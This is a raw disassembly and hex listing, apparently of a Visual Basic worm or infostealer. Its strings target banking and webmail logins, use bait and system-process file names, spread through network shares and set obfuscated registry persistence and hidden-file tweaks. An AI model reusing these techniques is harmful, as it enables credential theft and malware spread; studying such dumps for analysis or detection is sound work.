004074a8 dwReserved uint32 0x00000000
004074ac
004074ac 00 00 00 00 ....

004074b0
004074b0fn_4074b0:
004074b0mov eax, [0x41beb0]
004074b5or eax, eax
004074b7je 0x4074bb
004074b9jmp eax
004074bb
004074bbloc_4074bb:
004074bbpush 0x407498
004074c0mov eax, 0x4010e0
004074c5call eax
004074c7jmp eax
004074b0

004074c9
004074c9 00 00 00 ...
004074cc
004074cc struct VBDeclareNameLength
004074cc cbName int 17
004074d0
004074d0 string "InternetOpenUrlA",0
004074e1
004074e1 00 00 00 ...
004074e4
004074e4 struct DeclareInfo
004074e4 lpszLibraryName uint32 0x40660c
004074e8 lpszFunctionName uint32 0x4074d0
004074ec dwFlags uint32 0x00040000
004074f0 lpCache uint32 0x41beb4
004074f4 dwReserved uint32 0x00000000
004074f8
004074f8 00 00 00 00 ....

004074fc
004074fcfn_4074fc:
004074fcmov eax, [0x41bebc]
00407501or eax, eax
00407503je 0x407507
00407505jmp eax
00407507
00407507loc_407507:
00407507push 0x4074e4
0040750cmov eax, 0x4010e0
00407511call eax
00407513jmp eax
004074fc

00407515
00407515 00 00 00 0c 00 08 00 00 00 00 00 ...........
00407520 00 00 00 00 14 00 00 00 ........
00407528
00407528 wstring "Friendster",0
0040753e
0040753e 00 00 ..
00407540 0a 00 00 00 ....
00407544
00407544 wstring "yahoo",0
00407550
00407550 0a 00 00 00 ....
00407554
00407554 wstring "gmail",0
00407560
00407560 0a 00 00 00 ....
00407564
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...
004078e8
004078e8 wstring "TeamViewer_Setup.exe",0
00407912
00407912 00 00 16 00 00 00 ......
00407918
00407918 wstring "Licence.exe",0
00407930
00407930 18 00 00 00 ....
00407934
00407934 wstring "Pictures.exe",0
0040794e
0040794e 00 00 ..
00407950 14 00 00 00 ....
00407954
00407954 wstring "Secret.exe",0
0040796a
0040796a 00 00 1a 00 00 00 ......
00407970
00407970 wstring "Documents.exe",0
0040798c
0040798c 12 00 00 00 ....
00407990
00407990 wstring "Vivid.exe",0
004079a4
004079a4 14 00 00 00 ....
004079a8
004079a8 wstring "update.exe",0
004079be
004079be 00 00 ..
004079c0 0e 00 00 00 ....
004079c4
004079c4 wstring "XXX.exe",0
004079d4
004079d4 10 00 00 00 ....
004079d8
004079d8 wstring "cool.exe",0
004079ea
004079ea 00 00 12 00 00 00 ......
004079f0
004079f0 wstring "vitae.exe",0
00407a04
00407a04 12 00 00 00 ....
00407a08
00407a08 wstring "error.exe",0
00407a1c
00407a1c 06 00 00 00 ....
00407a20
00407a20 wstring "c:\\",0
00407a28
00407a28 0c 00 20 00 00 00 00 00 .. .....
00407a30 20 00 04 04 ...
00407a34
00407a34 struct VBDeclareNameLength
00407a34 cbName int 8
00407a38
00407a38 string "mpr.dll",0
00407a40
00407a40 02 00 00 00 ....
00407a44
00407a44 wstring "U",0
00407a48
00407a48 00 00 00 00 38 00 90 01 ....8...
00407a50 00 00 01 00 90 01 04 2c 00 00 85 00 00 10 7f 01 .......,........
00407a60 01 00 00 00 01 00 00 00 01 00 96 01 04 00 00 00 ................
00407a70 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......
00407a80 08 00 00 00 0c 00 01 10 00 00 00 00 01 10 01 04 ................
00407a90 18 00 80 00 00 00 03 00 80 00 04 2c 00 00 01 00 ...........,....
00407aa0 04 00 01 00 08 00 01 00 ........
00407aa8
00407aa8 struct VBDeclareNameLength
00407aa8 cbName int 14
00407aac
00407aac string "moonlight.dll",0
00407aba
00407aba 00 00 ..
00407abc
00407abc struct VBDeclareNameLength
00407abc cbName int 7
00407ac0
00407ac0 string "ZpInit",0
00407ac7
00407ac7 00 .
00407ac8
00407ac8 struct DeclareInfo
00407ac8 lpszLibraryName uint32 0x407aac
00407acc lpszFunctionName uint32 0x407ac0
00407ad0 dwFlags uint32 0x00040000
00407ad4 lpCache uint32 0x41bec0
00407ad8 dwReserved uint32 0x00000000
00407adc
00407adc 00 00 00 00 ....

00407ae0
00407ae0fn_407ae0:
00407ae0mov eax, [0x41bec8]
00407ae5or eax, eax
00407ae7je 0x407aeb
00407ae9jmp eax
00407aeb
00407aebloc_407aeb:
00407aebpush 0x407ac8
00407af0mov eax, 0x4010e0
00407af5call eax
00407af7jmp eax
00407ae0

00407af9
00407af9 00 00 00 ...
00407afc
00407afc struct VBDeclareNameLength
00407afc cbName int 13
00407b00
00407b00 string "ZpSetOptions",0
00407b0d
00407b0d 00 00 00 ...
00407b10
00407b10 struct DeclareInfo
00407b10 lpszLibraryName uint32 0x407aac
00407b14 lpszFunctionName uint32 0x407b00
00407b18 dwFlags uint32 0x00040000
00407b1c lpCache uint32 0x41becc
00407b20 dwReserved uint32 0x00000000
00407b24
00407b24 00 00 00 00 ....

00407b28
00407b28fn_407b28:
00407b28mov eax, [0x41bed4]
00407b2dor eax, eax
00407b2fje 0x407b33
00407b31jmp eax
00407b33
00407b33loc_407b33:
00407b33push 0x407b10
00407b38mov eax, 0x4010e0
00407b3dcall eax
00407b3fjmp eax
00407b28

00407b41
00407b41 00 00 00 ...
00407b44
00407b44 struct VBDeclareNameLength
00407b44 cbName int 13
00407b48
00407b48 string "ZpGetOptions",0
00407b55
00407b55 00 00 00 ...
00407b58
00407b58 struct DeclareInfo
00407b58 lpszLibraryName uint32 0x407aac
00407b5c lpszFunctionName uint32 0x407b48
00407b60 dwFlags uint32 0x00040000
00407b64 lpCache uint32 0x41bed8
00407b68 dwReserved uint32 0x00000000
00407b6c
00407b6c 00 00 00 00 ....

00407b70
00407b70fn_407b70:
00407b70mov eax, [0x41bee0]
00407b75or eax, eax
00407b77je 0x407b7b
00407b79jmp eax
00407b7b
00407b7bloc_407b7b:
00407b7bpush 0x407b58
00407b80mov eax, 0x4010e0
00407b85call eax
00407b87jmp eax
00407b70

00407b89
00407b89 00 00 00 ...
00407b8c
00407b8c struct VBDeclareNameLength
00407b8c cbName int 10
00407b90
00407b90 string "ZpArchive",0
00407b9a
00407b9a 00 00 ..
00407b9c
00407b9c struct DeclareInfo
00407b9c lpszLibraryName uint32 0x407aac
00407ba0 lpszFunctionName uint32 0x407b90
00407ba4 dwFlags uint32 0x00040000
00407ba8 lpCache uint32 0x41bee4
00407bac dwReserved uint32 0x00000000
00407bb0
00407bb0 00 00 00 00 ....

00407bb4
00407bb4fn_407bb4:
00407bb4mov eax, [0x41beec]
00407bb9or eax, eax
00407bbbje 0x407bbf
00407bbdjmp eax
00407bbf
00407bbfloc_407bbf:
00407bbfpush 0x407b9c
00407bc4mov eax, 0x4010e0
00407bc9call eax
00407bcbjmp eax
00407bb4

00407bcd
00407bcd 00 00 00 ...
00407bd0 29 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 )O.3.f.......`..
00407be0 0a 00 00 00 ....
00407be4
00407be4 wstring "lsass",0
00407bf0
00407bf0 1c 00 20 00 00 00 04 00 20 00 04 2c 10 00 01 00 .. ..... ..,....
00407c00 14 00 01 00 18 00 01 00 1c 00 01 00 00 00 00 00 ................
00407c10 88 00 74 02 00 00 08 00 00 00 00 10 00 00 69 20 ..t...........i
00407c20 00 00 ff ff 90 7a 40 00 ff ff ff ff ff ff ff ff .....z@.........
00407c30 00 00 00 00 50 02 00 00 80 00 09 20 00 00 ff ff ....P...... ....
00407c40 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
00407c50 00 00 00 00 90 00 01 20 00 00 ff ff 94 00 01 20 ....... .......
00407c60 30 49 ff ff 98 00 01 20 98 5b ff ff d8 00 01 20 0I..... .[.....
00407c70 40 77 ff ff dc 00 69 20 78 8b ff ff 4c 7a 40 00 @w....i x...Lz@.
00407c80 90 a0 1d 00 00 00 00 00 00 05 1b 00 f0 d5 1b 00 ................
00407c90 6c 02 01 20 e0 20 ff ff l.. . ..
00407c98
00407c98 struct VBDeclareNameLength
00407c98 cbName int 8
00407c9c
00407c9c string "shell32",0
00407ca4
00407ca4 struct VBDeclareNameLength
00407ca4 cbName int 27
00407ca8
00407ca8 string "SHGetSpecialFolderLocation",0
00407cc3
00407cc3 00 .
00407cc4
00407cc4 struct DeclareInfo
00407cc4 lpszLibraryName uint32 0x407c9c
00407cc8 lpszFunctionName uint32 0x407ca8
00407ccc dwFlags uint32 0x00040000
00407cd0 lpCache uint32 0x41bef0
00407cd4 dwReserved uint32 0x00000000
00407cd8
00407cd8 00 00 00 00 ....

00407cdc
00407cdcfn_407cdc:
00407cdcmov eax, [0x41bef8]
00407ce1or eax, eax
00407ce3je 0x407ce7
00407ce5jmp eax
00407ce7
00407ce7loc_407ce7:
00407ce7push 0x407cc4
00407cecmov eax, 0x4010e0
00407cf1call eax
00407cf3jmp eax
00407cdc

00407cf5
00407cf5 00 00 00 ...
00407cf8
00407cf8 struct VBDeclareNameLength
00407cf8 cbName int 21
00407cfc
00407cfc string "SHGetPathFromIDListA",0
00407d11
00407d11 00 00 00 ...
00407d14
00407d14 struct DeclareInfo
00407d14 lpszLibraryName uint32 0x407c9c
00407d18 lpszFunctionName uint32 0x407cfc
00407d1c dwFlags uint32 0x00040000
00407d20 lpCache uint32 0x41befc
00407d24 dwReserved uint32 0x00000000
00407d28
00407d28 00 00 00 00 ....

00407d2c
00407d2cfn_407d2c:
00407d2cmov eax, [0x41bf04]
00407d31or eax, eax
00407d33je 0x407d37
00407d35jmp eax
00407d37
00407d37loc_407d37:
00407d37push 0x407d14
00407d3cmov eax, 0x4010e0
00407d41call eax
00407d43jmp eax
00407d2c

00407d45
00407d45 00 00 00 0e 00 00 00 .......
00407d4c
00407d4c wstring "explore",0
00407d5c
00407d5c 0e 00 00 00 ....
00407d60
00407d60 wstring "regedit",0
00407d70
00407d70 16 00 00 00 ....
00407d74
00407d74 wstring "\\cypreg.dll",0
00407d8c
00407d8c 16 00 00 00 ....
00407d90
00407d90 wstring "service.exe",0
00407da8
00407da8 10 00 00 00 ....
00407dac
00407dac wstring "smss.exe",0
00407dbe
00407dbe 00 00 ..
00407dc0 0c 00 00 00 ....
00407dc4
00407dc4 wstring "system",0
00407dd2
00407dd2 00 00 02 00 00 00 ......
00407dd8
00407dd8 wstring "u",0
00407ddc
00407ddc struct DeclareInfo
00407ddc lpszLibraryName uint32 0x407a38
00407de0 lpszFunctionName uint32 0x40786c
00407de4 dwFlags uint32 0x00040000
00407de8 lpCache uint32 0x41bf08
00407dec dwReserved uint32 0x00000000
00407df0
00407df0 00 00 00 00 ....

00407df4
00407df4fn_407df4:
00407df4mov eax, [0x41bf10]
00407df9or eax, eax
00407dfbje 0x407dff
00407dfdjmp eax
00407dff
00407dffloc_407dff:
00407dffpush 0x407ddc
00407e04mov eax, 0x4010e0
00407e09call eax
00407e0bjmp eax
00407df4

00407e0d
00407e0d 00 00 00 ...
00407e10
00407e10 struct VBDeclareNameLength
00407e10 cbName int 18
00407e14
00407e14 string "WNetEnumResourceA",0
00407e26
00407e26 00 00 ..
00407e28
00407e28 struct DeclareInfo
00407e28 lpszLibraryName uint32 0x407a38
00407e2c lpszFunctionName uint32 0x407e14
00407e30 dwFlags uint32 0x00040000
00407e34 lpCache uint32 0x41bf14
00407e38 dwReserved uint32 0x00000000
00407e3c
00407e3c 00 00 00 00 ....

00407e40
00407e40fn_407e40:
00407e40mov eax, [0x41bf1c]
00407e45or eax, eax
00407e47je 0x407e4b
00407e49jmp eax
00407e4b
00407e4bloc_407e4b:
00407e4bpush 0x407e28
00407e50mov eax, 0x4010e0
00407e55call eax
00407e57jmp eax
00407e40

00407e59
00407e59 00 00 00 ...
00407e5c
00407e5c struct VBDeclareNameLength
00407e5c cbName int 14
00407e60
00407e60 string "WNetCloseEnum",0
00407e6e
00407e6e 00 00 ..
00407e70
00407e70 struct DeclareInfo
00407e70 lpszLibraryName uint32 0x407a38
00407e74 lpszFunctionName uint32 0x407e60
00407e78 dwFlags uint32 0x00040000
00407e7c lpCache uint32 0x41bf20
00407e80 dwReserved uint32 0x00000000
00407e84
00407e84 00 00 00 00 ....

00407e88
00407e88fn_407e88:
00407e88mov eax, [0x41bf28]
00407e8dor eax, eax
00407e8fje 0x407e93
00407e91jmp eax
00407e93
00407e93loc_407e93:
00407e93push 0x407e70
00407e98mov eax, 0x4010e0
00407e9dcall eax
00407e9fjmp eax
00407e88

00407ea1
00407ea1 00 00 00 ...
00407ea4
00407ea4 struct VBDeclareNameLength
00407ea4 cbName int 9
00407ea8
00407ea8 string "lstrlenA",0
00407eb1
00407eb1 00 00 00 ...
00407eb4
00407eb4 struct DeclareInfo
00407eb4 lpszLibraryName uint32 0x405f48
00407eb8 lpszFunctionName uint32 0x407ea8
00407ebc dwFlags uint32 0x00040000
00407ec0 lpCache uint32 0x41bf2c
00407ec4 dwReserved uint32 0x00000000
00407ec8
00407ec8 00 00 00 00 ....

00407ecc
00407eccfn_407ecc:
00407eccmov eax, [0x41bf34]
00407ed1or eax, eax
00407ed3je 0x407ed7
00407ed5jmp eax
00407ed7
00407ed7loc_407ed7:
00407ed7push 0x407eb4
00407edcmov eax, 0x4010e0
00407ee1call eax
00407ee3jmp eax
00407ecc

00407ee5
00407ee5 00 00 00 ...
00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....

00407f10
00407f10fn_407f10:
00407f10mov eax, [0x41bf40]
00407f15or eax, eax
00407f17je 0x407f1b
00407f19jmp eax
00407f1b
00407f1bloc_407f1b:
00407f1bpush 0x407ef8
00407f20mov eax, 0x4010e0
00407f25call eax
00407f27jmp eax
00407f10

00407f29
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....

00407f5c
00407f5cfn_407f5c:
00407f5cmov eax, [0x41bf4c]
00407f61or eax, eax
00407f63je 0x407f67
00407f65jmp eax
00407f67
00407f67loc_407f67:
00407f67push 0x407f44
00407f6cmov eax, 0x4010e0
00407f71call eax
00407f73jmp eax
00407f5c

00407f75
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....

00408270
00408270fn_408270:
00408270mov eax, [0x41bf58]
00408275or eax, eax
00408277je 0x40827b
00408279jmp eax
0040827b
0040827bloc_40827b:
0040827bpush 0x408258
00408280mov eax, 0x4010e0
00408285call eax
00408287jmp eax
00408270

00408289
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....

004082b8
004082b8fn_4082b8:
004082b8mov eax, [0x41bf64]
004082bdor eax, eax
004082bfje 0x4082c3
004082c1jmp eax
004082c3
004082c3loc_4082c3:
004082c3push 0x4082a0
004082c8mov eax, 0x4010e0
004082cdcall eax
004082cfjmp eax
004082b8

004082d1
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....

004082f0
004082f0fn_4082f0:
004082f0mov eax, [0x41bf70]
004082f5or eax, eax
004082f7je 0x4082fb
004082f9jmp eax
004082fb
004082fbloc_4082fb:
004082fbpush 0x4082d8
00408300mov eax, 0x4010e0
00408305call eax
00408307jmp eax
004082f0

00408309
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....

00408338
00408338fn_408338:
00408338mov eax, [0x41bf7c]
0040833dor eax, eax
0040833fje 0x408343
00408341jmp eax
00408343
00408343loc_408343:
00408343push 0x408320
00408348mov eax, 0x4010e0
0040834dcall eax
0040834fjmp eax
00408338

00408351
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....

0040837c
0040837cfn_40837c:
0040837cmov eax, [0x41bf88]
00408381or eax, eax
00408383je 0x408387
00408385jmp eax
00408387
00408387loc_408387:
00408387push 0x408364
0040838cmov eax, 0x4010e0
00408391call eax
00408393jmp eax
0040837c

00408395
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....

004083c4
004083c4fn_4083c4:
004083c4mov eax, [0x41bf94]
004083c9or eax, eax
004083cbje 0x4083cf
004083cdjmp eax
004083cf
004083cfloc_4083cf:
004083cfpush 0x4083ac
004083d4mov eax, 0x4010e0
004083d9call eax
004083dbjmp eax
004083c4

004083dd
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....

00408410
00408410fn_408410:
00408410mov eax, [0x41bfa0]
00408415or eax, eax
00408417je 0x40841b
00408419jmp eax
0040841b
0040841bloc_40841b:
0040841bpush 0x4083f8
00408420mov eax, 0x4010e0
00408425call eax
00408427jmp eax
00408410

00408429
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....

00408458
00408458fn_408458:
00408458mov eax, [0x41bfac]
0040845dor eax, eax
0040845fje 0x408463
00408461jmp eax
00408463
00408463loc_408463:
00408463push 0x408440
00408468mov eax, 0x4010e0
0040846dcall eax
0040846fjmp eax
00408458

00408471
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0